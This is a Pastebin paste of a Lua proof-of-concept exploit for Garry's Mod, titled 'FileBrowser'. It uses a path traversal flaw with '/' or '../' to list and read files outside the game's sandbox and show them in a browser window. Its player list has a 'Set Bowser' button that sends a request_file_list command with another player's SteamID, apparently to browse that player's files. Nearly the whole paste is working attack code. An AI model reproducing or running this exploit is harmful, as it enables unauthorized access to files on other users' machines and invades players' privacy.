Advertisement
Guest User

Untitled

a guest
Jan 4th, 2012
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.50 KB | None | 0 0
  1. --[[
  2.  
  3. FileBrowser
  4.  
  5. Flapadar
  6.  
  7. POC of file operations exploit using /
  8.  
  9. 21/5/11
  10.  
  11. cl_bowser.lua
  12. ]]
  13.  
  14. local fbrowser = {}
  15.  
  16. function fbrowser:DisplayData(data,file)
  17.     local dframe = vgui.Create("DFrame")
  18.     dframe:SetSize(600,450)
  19.     dframe:SetTitle(file.." - gPad")
  20.     dframe:MakePopup()
  21.     dframe:Center()
  22.      
  23.     local dpanel = vgui.Create("DPanel")
  24.     local dtextentry = vgui.Create("DTextEntry")
  25.     dtextentry:SetParent(dframe)
  26.     dtextentry:SetMultiline(true)
  27.     dtextentry:SetSize(600,428)
  28.     dtextentry:SetPos(0,22)
  29.     dtextentry:SetText(data or "Error 0x001 - File Handle Rejected")
  30.     dtextentry:SetEditable(false)
  31. end
  32.  
  33. fbrowser.StartPath = #file.Find("/*",true) > 0 and "/" or "../" -- Backwards compatibility for if garry ever decides to fix this
  34.  
  35. function fbrowser.OpenBrowser()
  36.     local dframe = vgui.Create("DFrame")
  37.     dframe:SetSize(650,450)
  38.     dframe:SetTitle("Bowser")
  39.     dframe:Center()
  40.     dframe:MakePopup()
  41.      
  42.     local dtree = vgui.Create("DTree")
  43.     dtree:SetParent(dframe)
  44.     dtree:SetPos(0,22)
  45.     dtree:SetSize(450,428)
  46.      
  47.     local parent = dtree:AddNode("/")
  48.      
  49.     local function recurseFolder(s,fol,fil,parent_kept)
  50.         s = s:gsub("%*","")
  51.          
  52.         if parent_kept then
  53.             parent = parent_kept
  54.         end
  55.          
  56.         for k , v in pairs(fol) do
  57.             local nextnode = parent:AddNode(v)
  58.             nextnode.NextPath = s..v.."/*"
  59.             nextnode.DoClick = function()
  60.                 if not nextnode.Checked then
  61.                     nextnode.Checked = true
  62.                     file.TFind(nextnode.NextPath,function(s,fol,fil)
  63.                         recurseFolder(s,fol,fil,nextnode)
  64.                         nextnode:SetExpanded(true)
  65.                     end )
  66.                 end
  67.                 return DTree_Node.DoClick(nextnode)
  68.             end
  69.              
  70.         end
  71.         for k,v in pairs(fil) do
  72.             local n = parent:AddNode(v)
  73.             n:GetTable().Icon:SetImage("VGUI/spawnmenu/file")
  74.             n.Path = s..v
  75.             n.DoClick = function()
  76.                 fbrowser:DisplayData(file.Read(n.Path,true),v)
  77.             end
  78.         end
  79.     end
  80.     file.TFind(fbrowser.StartPath.."*" , recurseFolder)
  81.      
  82.      
  83.     -- Player listing --
  84.      
  85.     local dpanel = vgui.Create("DPanelList")
  86.     dpanel:SetParent(dframe)
  87.     dpanel:SetPos(451,22)
  88.     dpanel:SetSize(199,428)
  89.     dpanel:EnableHorizontal(false)
  90.     dpanel:EnableVerticalScrollbar(true)
  91.     dpanel:SetSpacing(5)
  92.     dpanel:SetPadding(5)
  93.      
  94.     for k , v in pairs(player.GetAll()) do
  95.         local panel = vgui.Create("DPanel")
  96.         panel:SetSize(199,59)
  97.          
  98.         local avatar = vgui.Create("AvatarImage")
  99.         avatar:SetSize(32,32)
  100.         avatar:SetParent(panel)
  101.         avatar:SetPos(5,10)
  102.         avatar:SetPlayer(v)
  103.          
  104.         local dlabel = vgui.Create("DLabel")
  105.         dlabel:SetPos(40,10)
  106.         dlabel:SetSize(60,22)
  107.         dlabel:SetText(v:Nick())
  108.         dlabel:SetParent(panel)
  109.          
  110.         panel.DoClick = function() print(v) end
  111.          
  112.         local dbutton = vgui.Create("DButton")
  113.         dbutton:SetParent(panel)
  114.         dbutton:SetPos(95 , 10)
  115.         dbutton:SetText("Set Bowser")
  116.         dbutton:SetSize(75,22)
  117.         dbutton.DoClick = function()
  118.             RunConsoleCommand("request_file_list" , v:SteamID() , fbrowser.StartPath)
  119.         end
  120.          
  121.         dpanel:AddItem(panel)
  122.     end
  123. end
  124.  
  125. fbrowser.OpenBrowser()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement